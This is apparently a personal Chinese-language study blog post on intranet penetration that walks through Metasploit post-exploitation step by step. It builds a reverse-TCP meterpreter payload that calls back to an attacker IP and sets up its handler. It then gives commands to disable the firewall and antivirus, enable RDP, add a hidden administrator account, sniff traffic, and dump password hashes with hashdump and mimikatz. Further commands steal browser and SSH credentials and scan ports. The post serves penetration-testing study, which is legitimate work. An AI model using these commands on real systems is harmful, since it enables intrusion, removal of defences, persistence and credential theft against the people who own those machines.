内网渗透——信息收集—利用MSF进行信息收集
最后更新时间:
写在前面
开启内网渗透的学习啦,感觉这一部分在护网和渗透比赛方面很重要,而且能复习一下计网知识。打算先看个入门视频,然后再去看《内网渗透体系建设》这本书,建立自己的知识体系。加油加油!
内网信息收集
信息收集思路
- 系统管理员密码
- 用户session,远程桌面开放情况和共享连接记录
- 浏览器密码及cookies
- windows、数据库密码获取
- host文件获取,dns缓存信息收集
- 进程、补丁、网络代理、软件列表等信息
- vpn历史密码、teamview密码、启动项、iis配置信息等
- 一些工具
工具化信息收集 —— msf
msf反弹shell
反弹shell的目的是什么?
一般来说目标主机与我们攻击者之间都存在防火墙等安全设备,限制了流入目标主机的流量,导致我们直接连接目标主机会失败。所以我们想让目标主机主动连接我们,这就是反弹shell。
首先获取到自己主机ip后输入payload
1
msfvenom -p windows/meterpreter/reverse_tcp -f exe --platform windows -a x86 -e generic/none LHOST=172.16.80.136 LPORT=444 > '/home/racerz/windows-meterpreter-staged-reverse-tcp-444.exe'
生成的恶意软件拖进虚拟机,实际是通过webshell上传至目标服务器(需要先拿下webshell权限)
接下来需要配置会话处理程序
1
2
3
4
5
6msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 172.16.80.136
set lport 444
run接下来目标机触发exe程序,这里为了能正常通信只能先关掉防火墙
可以看到这里会建立一个id为1的会话
其次我们通过如下命令从meterpreter命令行切换至目标机shell
1
2
3shell
execute -f cmd -i -H
#-f指定执行一个可执行程序, -H表示隐藏进程, -i通过创建的进程返回一个操作接口回显出来由于操作系统编码不一致会导致乱码问题,可通过解决
1
chcp 65001
通过shell关闭防火墙
1
2
3
4
5
6
7
8
9netsh advfirewall set allprofiles state off
netsh advfirewall show allprofiles
通过策略添加防火墙规则隐藏行为:
netsh advfirewall set add rule name="VMWARE" protocol=TCP dir=in localport=5555 action=allow
# 下面的win10以上已废弃
netsh firewall add portopening TCP 5555 "VMWARE" ENABLE ALL
重启让配置生效:
shutdown -r -f -t 0添加策略允许攻击机能够正向的去连接靶机的5555端口而不被拦截
关闭杀毒软件
1
2
3
4
5关闭windefend:
net stop windefend
关闭杀毒软件:
run killav
run post/windows/manage/killav打开并连接3389
1
2
3
4
5
6
7
8
9
10
11
12
13开启3389远程桌面:
run post/windows/manage/enable_rdp
run getgui -e
在目标机器添加用户:
run getgui -u admin -p admin
#meterpreter模块的功能,通过-u指定用户名,-p指定密码即可添加用户
net localgroup administrators admin /add
#windows通过这个命令添加用户到管理员用户组
远程连接桌面
rdesktop -u username -p password ip #Linux
mstsc.exe #Windows中的远程桌面原始目标机远程桌面服务开启情况
运行指令,当前目标机处于关闭状态
接下来向目标机器添加账户,注意密码需要符号规范(大小写,特殊字符,不少于8位)中途有报错但是通过
net user
可以看到账户已添加进去之后可以将其添加到管理员用户组
利用
net localgroup administrators
可以查看到管理员用户组有哪些用户之前如果没有添加到管理员用户组时会出现
本地策略不允许您使用交互式登录
的情况,这里需要注意一下桌面截图查看
1
2
3
4
5
6
7screenshot
# 会保存屏幕截图到/root下
use espia # 加载模块
screengrab
# 和screenshot一样,但是会自动打开这个图片,个人感觉这个最好用
screenshare
# 会生成一个html文件并自动在浏览器打开,并且会不断时时更新跟视频差不多,但是默认保存到/root会有权限限制,复制一下到其他地方在访问即可,另外我打开之后画面完全没出来过,太卡了不建议使用删除指定用户
1
2
3
4use post/windows/manage/delete_user
set USERNAME admin2
set session [sessionid]
run可以通过
search cmd
来找到指定模块可以通过
background
保证不退出会话,同时执行其他模块接下来再去查看账户可以看到已经删除
数据包抓取
利用sniffer模块抓取目标机流量包
1
2
3
4load sniffer
sniffer_interfaces
sniffer_start 1
sniffer_dump 1 1.cap这里可以看到实际就是对指定网卡进行流量捕获
利用
psnuffle
模块进行流量包解码1
2
3use auxiliary/sniffer/psnuffle
set PCAPFILE 1.cap
exploit口令破解
hashdump
可以获取到目标机的明文密码以及哈希值(高版本只能哈希值)其实际上读取的是系统当中的SAM文件中的内容,解析并提取其中的哈希值
注意当前模块的使用需要拥有SYSTEM权限
1
2
3use post/windows/gather/hashdump
set session
exploite一点提权的知识
getuid
可以查看到当前用户权限如果是普通用户想要使用hashdump功能则需要先去提权,msf自带一个
getsystem
功能,其是以一种命名管道的方式获取的SYSTEM权限,但实际上并未达到真正的SYSTEM权限另一种方式通过进程迁移的方式,将当前进程迁移到SYSTEM权限运行的进程上,可以达到真正提权的效果
以vmtoolsd为例作进程迁移,该进程号为424
1
migrate 424
hashdump结果的解读
用户名:用户id:LM-HASH值:NT-HASH值
创建的用户id从1000开始,内置及admin(500)是500开始
mimikatz模块 hashdump使用的是mimikatz的部分功能
1
2
3
4
5
6load mimikatz
wdigest kerberos msv ssp tspkg tspkg livessp
mimikatz_command -h
mimikatz_command -f a:: #查询有哪些模块
mimikatz_command -f samdump::hashes
mimikatz_command -f samdump::bootkey其他模块的使用
确定目标主机是否为虚拟机
1
run checkvm
获取目标主机上的软件安装信息
1
run post/windows/gather/enum_applications
获取目标主机上最近访问过的文档、链接信息
1
run post/windows/gather/dumplinks
查看目标环境信息
1
run post/multi/gather/env
查看firefox中存储的账号密码
1
run post/multi/gather/firefox_creds
查看ssh账号密码的密文信息,证书信息
1
run post/multi/gather/ssh_creds
更多模块中的功能使用可以通过
search gather
查看建议使用的集成信息收集模块
1
2run scraper
run winenumMSF主机发现
模块位于路径
modules/auxiliary/scanner/discovery/
主要有:
1
2
3
4
5
6modules/auxiliary/scanner/discovery/arp_sweep
modules/auxiliary/scanner/discovery/ipv6_mulitcast_ping
modules/auxiliary/scanner/discovery/ipv6_neighbor
modules/auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement
modules/auxiliary/scanner/discovery/udp_probe
modules/auxiliary/scanner/discovery/udp_sweepMSF端口扫描
通过
search portscan
查看模块下的功能1
2
3
4
5
6
7
8
9
10
11
12auxiliary/scanner/portscan/ftpbounce
//通过FTP bounce攻击的原理对TCP服务进行枚举,一些新的FTP服务器软件能很好防范此攻击,单在旧的系统上仍可以被利用
auxiliary/scanner/natpmp/natpmp_portscan
//NAT-PMP External Port Scanner
auxiliary/scanner/portscan/xmas
//圣诞树扫描.属于较为隐秘的扫描方式,通过发送FIN,PSH,URG标志,能够躲避一些高级TCP标记检测器的过滤
auxiliary/scanner/portscan/ack
//通过ACK扫描方式对防火墙上未被屏蔽的断口进行探测
auxiliary/scanner/portscan/tcp
//通过一次完整TCP连接来判断端口是否开放,速度较慢
auxiliary/scanner/portscan/syn
//使用发送TCP SYN标志方式探测开放端口推荐使用SYN扫描
服务扫描与查点
确定开放端口之后,对相应端口进行服务探测
模块位于
Scanner
下,工具命名方式以如下的方式1
2
3
4[service_name]_version
# 可用于遍历网络中包含了某种服务的主机,并进一步确定服务的版本
[service_name]_login
# 可对某种服务进行口令探测攻击查找相应的服务模块直接
search _version/_login
利用方式的话就是直接
use
指定之后show options
查看选项设置对应的参数即可